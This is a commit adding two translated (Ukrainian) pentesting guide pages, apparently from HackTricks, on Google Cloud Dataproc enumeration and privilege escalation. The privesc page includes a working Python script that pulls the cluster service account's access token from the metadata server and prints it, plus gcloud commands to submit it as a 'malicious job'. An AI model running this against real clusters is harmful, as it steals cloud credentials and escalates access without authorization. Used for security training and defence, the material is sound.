Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:24 +00:00
parent 64b1ecc8b6
commit b2b67c04db
2 changed files with 97 additions and 0 deletions

View File

@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Мені не вдалося отримати зворотний шелл за допомогою цього методу, однак можливо витягти токен SA з кінцевої точки метаданих, використовуючи метод, описаний нижче.
#### Кроки для експлуатації
- Розмістіть скрипт завдання в GCP Bucket
- Подайте завдання до кластера Dataproc.
- Використовуйте завдання для доступу до сервера метаданих.
- Витягніть токен облікового запису служби, що використовується кластером.
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Основна інформація
Google Cloud Dataproc - це повністю керована служба для запуску Apache Spark, Apache Hadoop, Apache Flink та інших фреймворків великих даних. Вона в основному використовується для обробки даних, запитів, машинного навчання та аналітики потоків. Dataproc дозволяє організаціям легко створювати кластери для розподілених обчислень, безперешкодно інтегруючись з іншими службами Google Cloud Platform (GCP), такими як Cloud Storage, BigQuery та Cloud Monitoring.
Кластери Dataproc працюють на віртуальних машинах (VM), а обліковий запис служби, пов'язаний з цими VM, визначає дозволи та рівень доступу до кластера.
## Компоненти
Кластер Dataproc зазвичай включає:
Master Node: Керує ресурсами кластера та координує розподілені завдання.
Worker Nodes: Виконують розподілені завдання.
Service Accounts: Обробляють API виклики та отримують доступ до інших служб GCP.
## Перерахування
Кластери Dataproc, завдання та конфігурації можна перерахувати для збору чутливої інформації, такої як облікові записи служби, дозволи та потенційні неправильні налаштування.
### Перерахування кластерів
Щоб перерахувати кластери Dataproc та отримати їх деталі:
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### Перерахунок завдань
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}